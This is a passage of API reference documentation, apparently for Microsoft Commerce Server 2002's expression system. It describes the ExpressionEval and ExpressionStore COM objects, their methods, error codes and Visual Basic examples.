 bstrXMLExpr As String
) As Boolean

Parameters

bstrXMLExpr [C++]
[in] A BSTR that contains the XML text defining an expression.
bstrXMLExpr [Visual Basic]
[in] A String that contains the XML text defining an expression.
pbValid [C++]
[out, retval] A pointer to a VARIANT_BOOL indicating the validity of the expression.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] This method returns a Boolean value indicating the results of parsing the expression (bstrXMLExpr).

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADARGTYPE | [C++] 0x81100018 [Visual Basic] &H81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
E_EXPR_BADARGVALUE | [C++] 0x81100022 [Visual Basic] &H81100022 | Invalid expression argument value, or impossible conversion
E_EXPR_BADCLAUSE | [C++] 0x81100016 [Visual Basic] &H81100016 | Invalid clause encountered
E_EXPR_BADOPER | [C++] 0x81100017 [Visual Basic] &H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
E_EXPR_BADTERM | [C++] 0x81100015 [Visual Basic] &H81100015 | Term type missing, or unrecognized term type encountered
E_EXPR_BADXML | [C++] 0x81100014 [Visual Basic] &H81100014 | An unrecognized XML element was encountered
E_EXPR_XMLPARSE | [C++] 0x81100013 [Visual Basic] &H81100013 | XML DOM object parsing error

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Since this method only checks syntax, the expression may still be invalid even though the method succeeds.

The expression store is not used for XML fragments.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbValid parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' sXMLExpr is a string.
' Note that this string is not formatted properly with respect to
' quotation marks or continuation in order to increase readability.

strXMLExpr = "<CLAUSE OPER="equal">
                  <PROPERTY ID="User.firstName" TYPE="string" />
                  <IMMED-VAL TYPE="string">Jill</IMMED-VAL>
              </CLAUSE>"

' bResult is a Boolean

bResult = oExpressionEval.ParseXML(sXMLExpr)

See Also

[C++] Expression Recordset

[C++] Expression XML Structures

[C++] ExpressionEval Object

[C++] IExpressionEval::Eval

[C++] IExpressionEval::EvalXML

[Visual Basic] Expression Recordset

[Visual Basic] Expression XML Structures

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.Eval

[Visual Basic] ExpressionEval.EvalXML


IExpressionEval Properties [C++]

ExpressionEval Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
ExprCount | long | Retrieves the number of expressions loaded into the expression cache. This property is read-only.
[Visual Basic]
Property | Type | Description
ExprCount | Long | Retrieves the number of expressions loaded into the expression cache. This property is read-only.


IExpressionEval::get_ExprCount Property [C++]

ExpressionEval.ExprCount Property [Visual Basic]

The ExprCount property is a read-only integer that indicates the number of expressions that correctly pre-compiled and loaded into the expression cache. Expressions that contain syntactic errors will fail to pre-compile correctly.

Definition

[C++]
HRESULT IExpressionEval::get_ExprCount(
 long* pExprCount);
[Visual Basic]
Property ExprCount As Long

Parameters

pExprCount [C++]
[out, retval] A pointer to a long used to return the number of expressions loaded in the expression store.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::FlushAll

[C++] IExpressionEval::FlushExpr

[C++] IExpressionEval::LoadAll

[C++] IExpressionEval::LoadExpr

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.FlushAll

[Visual Basic] ExpressionEval.FlushExpr

[Visual Basic] ExpressionEval.LoadAll

[Visual Basic] ExpressionEval.LoadExpr


ExpressionStore Object [C++]

ExpressionStore Object [Visual Basic]

Use this object to manipulate expressions contained in an expression store. An expression store is a database of expressions along with information about the expressions. There is one expression store for each commerce site.

ProgID: | Commerce.ExpressionStore (Externally creatable)
COM Class Name: | ExpressionStore
Type Library Name: | Microsoft Commerce 2002 Expression System Type Library
DLL Name: | exprarch.dll
Threading Model: | Both
[C++]
COM Interface Name: | IExpressionStore
Interface ID Constant: | IID_IExpressionStore
Header File: | ExprArchDLL.h, exprarch.h, mspu_guids.h

[C++] In C++, use the IExpressionStore interface to access the methods of the ExpressionStore object.

Methods

[C++]
Method | Description
Connect | Validates and stores the connection string to the specified expression store.
DeleteExpression | Deletes an expression from the expression store.
Disconnect | Sets the connection string to an empty string.
Export | Exports expressions from the expression store to a file.
GetAllExprs | Retrieves all expressions from the expression store.
GetExpression | Retrieves an expression from the expression store.
GetExprID | Translates an expression name into its corresponding expression ID.
GetExprName | Translates an expression ID into its corresponding expression name.
Import | Imports a set of expressions to the expression store from a file.
NewExpression | Creates a new ADO Recordset object that contains an empty expression.
Query | Queries for a list of expressions based on one or more criteria.
RenameExpression | Renames an existing expression.
SaveExpression | Saves a new or changed expression to the expression store.
[Visual Basic]
Method | Description
Connect | Validates and stores the connection string to the specified expression store.
DeleteExpression | Deletes an expression from the expression store.
Disconnect | Sets the connection string to an empty string.
Export | Exports expressions from the expression store to a file.
GetAllExprs | Retrieves all expressions from the expression store.
GetExpression | Retrieves an expression from the expression store.
GetExprID | Translates an expression name into its corresponding expression ID.
GetExprName | Translates an expression ID into its corresponding expression name.
Import | Imports a set of expressions to the expression store from a file.
NewExpression | Creates a new ADO Recordset object that contains an empty expression.
Query | Queries for a list of expressions based on one or more criteria.
RenameExpression | Renames an existing expression.
SaveExpression | Saves a new or changed expression to the expression store.

Remarks

The connection string to a valid expression store must be stored using the Connect method before calling any other method of the ExpressionStore object.

An ExpressionStore object is internally created when the Connect method of an ExpressionEval object is invoked.

[C++] Many of the methods in ExpressionStore class use the Expression recordset object. For more information, see Expression Recordset.

[Visual Basic] Many of the methods in ExpressionStore class use the Expression recordset object. For more information, see Expression Recordset.

See Also

[C++] Targeting Objects

[C++] Expression XML Structures

[C++] ExpressionEval Object

[Visual Basic] Targeting Objects

[Visual Basic] Expression XML Structures

[Visual Basic] ExpressionEval Object


IExpressionStore Methods [C++]

ExpressionStore Methods [Visual Basic]

Methods

[C++]
Method | Description
Connect | Validates and stores the connection string to the specified expression store.
DeleteExpression | Deletes an expression from the expression store.
Disconnect | Sets the connection string to an empty string.
Export | Exports expressions from the expression store to a file.
GetAllExprs | Retrieves all expressions from the expression store.
GetExpression | Retrieves an expression from the expression store.
GetExprID | Translates an expression name into its corresponding expression ID.
GetExprName | Translates an expression ID into its corresponding expression name.
Import | Imports a set of expressions to the expression store from a file.
NewExpression | Creates a new ADO Recordset object that contains an empty expression.
Query | Queries for a list of expressions based on one or more criteria.
RenameExpression | Renames an existing expression.
SaveExpression | Saves a new or changed expression to the expression store.
[Visual Basic]
Method | Description
Connect | Validates and stores the connection string to the specified expression store.
DeleteExpression | Deletes an expression from the expression store.
Disconnect | Sets the connection string to an empty string.
Export | Exports expressions from the expression store to a file.
GetAllExprs | Retrieves all expressions from the expression store.
GetExpression | Retrieves an expression from the expression store.
GetExprID | Translates an expression name into its corresponding expression ID.
GetExprName | Translates an expression ID into its corresponding expression name.
Import | Imports a set of expressions to the expression store from a file.
NewExpression | Creates a new ADO Recordset object that contains an empty expression.
Query | Queries for a list of expressions based on one or more criteria.
RenameExpression | Renames an existing expression.
SaveExpression | Saves a new or changed expression to the expression store.


IExpressionStore::Connect Method [C++]

ExpressionStore.Connect Method [Visual Basic]

Use this method to store the connection string to an expression store.

Definition

[C++]
HRESULT IExpressionStore::Connect(
 BSTR strConnStr
);
[Visual Basic]
Sub Connect(
 strConnStr As String
)

Parameters

strConnStr [C++]
[in] A BSTR that contains the database connection information for the expression store.
strConnStr [Visual Basic]
[in] A String that contains the database connection information for the expression store.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRSTORE | [C++] 0x8110001E [Visual Basic] &H8110001E | Specified database does not contain a valid expression store
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_STOREPERMISSIONS | [C++] 0x8110000F [Visual Basic] &H8110000F | Insufficient access permissions on the expression store database

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The ExpressionStore object does not maintain a persistent ADO connection. This method stores the connection string after validating that the connection string points to an actual expression store. The Disconnect method sets the connection string to an empty string.

Each method of the ExpressionStore object creates a connection when needed, and when done with it, closes the connection. This relies on ADO connection pooling and provides higher availability.

The connection string for the expression store may be obtained through the SiteConfigReadOnly object or through the Commerce Server Manager console from the s_BizDataStoreConnectionString property under the key "Commerce Server Manager\Global Resources\Profiles".

The Connect method must be successfully executed before calling any other method of an externally created ExpressionStore object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Connect using an explicit connection string .
' oExpressionStore is a valid ExpressionStore object

oExpressionStore.Connect "Provider=SQLOLEDB;Data Source=server;" _
& "Initial Catalog=Retail_commerce;Integrated Security='SSPI'"

' Connect using a string retrieved from the SiteConfigReadOnly object.
' sConn is a String, oSCRO is an initialized SiteConfigReadOnly object.

sConn = oSCRO.Fields("Biz Data Service") _
.Value.Fields("s_BizDataStoreConnectionString").Value
oExpressionStore.Connect sConn

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Disconnect

[C++] SiteConfigReadOnly Object

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Disconnect

[Visual Basic] SiteConfigReadOnly Object


IExpressionStore::DeleteExpression Method [C++]

ExpressionStore.DeleteExpression Method [Visual Basic]

Use this method to delete an existing expression from the expression store.

Definition

[C++]
HRESULT IExpressionStore::DeleteExpression(
 long nExprID,
 long flags
);
[Visual Basic]
Sub DeleteExpression(
 nExprID As Long,
 flags As Long
)

Parameters

nExprID [C++]
[in] A long that specifies the expression to be deleted.
nExprID [Visual Basic]
[in] A Long that specifies the expression to be deleted.
flags [C++]
[in] A long that contains the optional control flags. This parameter is currently unused and should be set to zero (0).
flags [Visual Basic]
[in] A Long that contains the optional control flags. This parameter is currently unused and should be set to zero (0).

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified, or expression ID not found in store
E_EXPR_EXPRDELFAILED | [C++] 0x81100010 [Visual Basic] &H81100010 | Delete operation failed, possibly due to other expressions having dependencies on this expression
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the specified expression has a non-zero reference count, meaning that other expressions depend on the specified expression, the expression is not deleted.

Call the Connect method before calling the DeleteExpression method.

[Visual Basic]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.
' 59552 is a valid expression ID retrieved by the GetExprID method.

oExpressionStore.Delete(59552, 0)

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::NewExpression

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.NewExpression


IExpressionStore::Disconnect Method [C++]

ExpressionStore.Disconnect Method [Visual Basic]

Use this method to set the connection string to the expression store to an empty string.

Definition

[C++]
HRESULT IExpressionStore::Disconnect(
);
[Visual Basic]
Sub Disconnect()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] For more information about connecting and disconnecting to an expression store, see IExpressionStore::Connect

[Visual Basic] For more information about connecting and disconnecting to an expression store, see ExpressionStore.Connect

See Also

[C++] ExpressionStore Object

[Visual Basic] ExpressionStore Object


IExpressionStore::Export Method [C++]

ExpressionStore.Export Method [Visual Basic]

Use this method to export the expressions stored in the expression store to a file.

Definition

[C++]
HRESULT IExpressionStore::Export(
 BSTR bstrFileName
);
[Visual Basic]
Sub Export(
 bstrFileName As String
)

Parameters

bstrFileName [C++]
[in] A BSTR that contains the name of the file used to store the expressions.
bstrFileName [Visual Basic]
[in] A String that contains the name of the file used to store the expressions.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The file being exported to should not exist prior to the call or the method will fail. If an absolute path is not specified, the file is placed in the \WINNT\system32 folder.

After the method successfully completes, the file contains the XML schema for the expression recordset followed by the XML representation of each expression recordset in the expression store.

Use the Import method to copy the expressions in a file to the expression store.

Call the Connect method before calling the Export method.

[Visual Basic]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.

oExpressionStore.Export "Expressions.xml"

See Also

[C++] Expression Recordset

[C++] Expression XML Structures

[C++] ExpressionStore Object

[C++] IExpressionStore::Import

[Visual Basic] Expression Recordset

[Visual Basic] Expression XML Structures

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Import


IExpressionStore::GetAllExprs Method [C++]

ExpressionStore.GetAllExprs Method [Visual Basic]

Use this method to retrieve an ADO hierarchical Recordset object that contains all the expressions residing in the expression store.

Definition

[C++]
HRESULT IExpressionStore::GetAllExprs(
 _Recordset** ppRSExprs
);
[Visual Basic]
Function GetAllExprs() As Object

Parameters

ppRSExprs [C++]
[out, retval] An address of a pointer to an ADO hierarchical Recordset object that contains all the expressions residing in the expression store.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] This method returns an ADO hierarchical Recordset object. If successful, the Recordset object contains the expressions currently residing in the expression store. If unsuccessful, the Recordset object is set to Nothing.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The Recordset object contains one record for each expression in the expression store. For information on the format and fields of the Recordset object, see Expression Recordset.

[Visual Basic] The Recordset object contains one record for each expression in the expression store. For information on the format and fields of the Recordset object, see Expression Recordset.

Use the GetExpression method to retrieve a single expression from the expression store.

Call the Connect method before calling the GetAllExprs method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppRSExprs parameter contains valid data only if the method completes successfully.

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::GetExpression

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.GetExpression


IExpressionStore::GetExpression Method [C++]

ExpressionStore.GetExpression Method [Visual Basic]

Use this method to retrieve an ADO hierarchical Recordset object that contains the specified expression.

Definition

[C++]
HRESULT IExpressionStore::GetExpression(
 long nExprID,
 _Recordset** ppRSExpr
);
[Visual Basic]
Function GetExpression(
 nExprID As Long
) As Object

Parameters

nExprID [C++]
[in] A long that contains the unique identifier of the expression.
nExprID [Visual Basic]
[in] A Long that contains the unique identifier of the expression.
ppRSExpr [C++]
[out, retval] An address of a pointer to an ADO hierarchical Recordset object that contains the expression.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details. If the method does not complete successfully, the address of the pointer to the Recordset object is set to NULL.

[Visual Basic] This method returns an ADO hierarchical Recordset object. If successful, the Recordset object contains the specified expression. If unsuccessful, the Recordset object is set to Nothing.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified, or expression ID not found in store
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

To access all expressions in the connected expression store, use the GetAllExprs method.

Call the Connect method before calling the GetExpression method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppRSExps parameter contains valid data only if the method completes successfully.

See Also

[C++] Expression Recordset

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::GetAllExprs

[C++] IExpressionStore::NewExpression

[Visual Basic] Expression Recordset

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.GetAllExprs

[Visual Basic] ExpressionStore.NewExpression


IExpressionStore::GetExprID Method [C++]

ExpressionStore.GetExprID Method [Visual Basic]

Use this method to translate the name of an expression into its corresponding expression ID.

Definition

[C++]
HRESULT IExpressionStore::GetExprID(
 BSTR strExprName,
 long* pnExprID
);
[Visual Basic]
Function GetExprID(
 strExprName As String
) As Long

Parameters

strExprName [C++]
[in] A BSTR that contains the expression name.
strExprName [Visual Basic]
[in] A String that contains the expression name.
pnExprID [C++]
[out, retval] A pointer to a long that contains the expression ID. On failure, the expression ID is set to EXPRID_INVALID (defined as -1).

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the expression ID. On failure, the expression ID is set to EXPRID_INVALID (defined as -1).

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRNAME | [C++] 0x81100003 [Visual Basic] &H81100003 | Invalid expression name, or expression name not found in store
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the GetExprName method to translate the ID of an expression into its corresponding expression name.

Call the Connect method before calling the GetExprID method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppExprID parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' lExpressionID is a long
' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.

lExpressionID = oExpressionStore.GetExprID("MyExpression")

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::GetExpression

[C++] IExpressionStore::GetExprName

[C++] IExpressionStore::RenameExpression

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.GetExpression

[Visual Basic] ExpressionStore.GetExprName

[Visual Basic] ExpressionStore.RenameExpression


IExpressionStore::GetExprName Method [C++]

ExpressionStore.GetExprName Method [Visual Basic]

Use this method to translate the ID of an expression into its corresponding expression name.

Definition

[C++]
HRESULT IExpressionStore::GetExprName(
 long nExprID,
 BSTR* pstrExprName
);
[Visual Basic]
Function GetExprName(
 nExprID As Long
) As String

Parameters

nExprID [C++]
[in] A long that contains a unique expression ID.
nExprID [Visual Basic]
[in] A Long that contains a unique expression ID.
pstrExprName [C++]
[out, retval] A pointer to a BSTR that contains the name of the expression. On failure, the expression name is set to NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the name of the expression. An empty String is returned if the expression ID is a Long but does not represent an existing expression.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified, or expression ID not found in store
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the GetExprID method to translate the name of an expression into its corresponding expression ID.

Call the Connect method before calling the GerExprName method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pstrExprName parameter contains valid data only if the method completes successfully.

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::GetExprID

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.GetExprID


IExpressionStore::Import Method [C++]

ExpressionStore.Import Method [Visual Basic]

Use this method to import expressions from a file into the expression store.

Definition

[C++]
HRESULT IExpressionStore::Import(
 BSTR bstrFileName
);
[Visual Basic]
Sub Import(
 bstrFileName As String
)

Parameters

bstrFileName [C++]
[in] A BSTR that contains the path and name of the file from which to import the expressions.
bstrFileName [Visual Basic]
[in] A String that contains the path and name of the file from which to import the expressions.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_NONEMPTYSTORE | [C++] 0x8110000C [Visual Basic] &H8110000C | Cannot import to a non-empty store

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The expression store must be empty in order to import expressions.

The import file must contain the XML schema for the expression recordset followed by the XML representation of each expression recordset. Expression recordsets with invalid expression bodies are imported but will cause an error upon evaluation.

Use the Export method to copy the XML schema for the expression recordset and all the expressions from the expression store to a file.

Call the Connect method before calling the Import method.

[Visual Basic]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.

oExpressionStore.Import "\SomePath\Expressions.xml"

See Also

[C++] Expression Recordset

[C++] Expression XML Structures

[C++] ExpressionStore Object

[C++] IExpressionStore::Export

[Visual Basic] Expression Recordset

[Visual Basic] Expression XML Structures

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Export


IExpressionStore::NewExpression Method [C++]

ExpressionStore.NewExpression Method [Visual Basic]

Use this method to return an ADO hierarchical Recordset object that contains an empty expression.

Definition

[C++]
HRESULT IExpressionStore::NewExpression(
 _Recordset** ppRSExpr
);
[Visual Basic]
Function NewExpression() As Object

Parameters

ppRSExpr [C++]
[out, retval] An address of a pointer to an ADO hierarchical Recordset object that contains an empty expression.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a hierarchical Recordset object that contains an empty expression.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

Remarks

[C++] Populate the returned Recordset object with data describing the new expression. For information on the format and required fields of the Recordset object, see Expression Recordset.

[Visual Basic] Populate the returned Recordset object with data describing the new expression. For information on the format and required fields of the Recordset object, see Expression Recordset.

Save the newly defined expression to the expression store using the SaveExpression method. The SaveExpression method automatically generates a new, unique expression ID and stores it with the new expression.

Call the Connect method before calling the NewExpression method.

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::SaveExpression

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.SaveExpression


IExpressionStore::Query Method [C++]

ExpressionStore.Query Method [Visual Basic]

Use this method to retrieve a Recordset object containing expressions that match the specified query conditions. At least one of the optional arguments must be specified.

Definition

[C++]
HRESULT IExpressionStore::Query(
 VARIANT vName,
 VARIANT vCategory,
 VARIANT vProfiles,
 _Recordset** ppRSExprs
);
[Visual Basic]
Function Query(
 Optional vName As Variant,
 Optional vCategory As Variant,
 Optional vProfiles As Variant
) As Object

Parameters

vName [C++]
[in, optional] When specified, a BSTR name to match expressions against. This is used in an SQL LIKE clause that permits wildcards.
vName [Visual Basic]
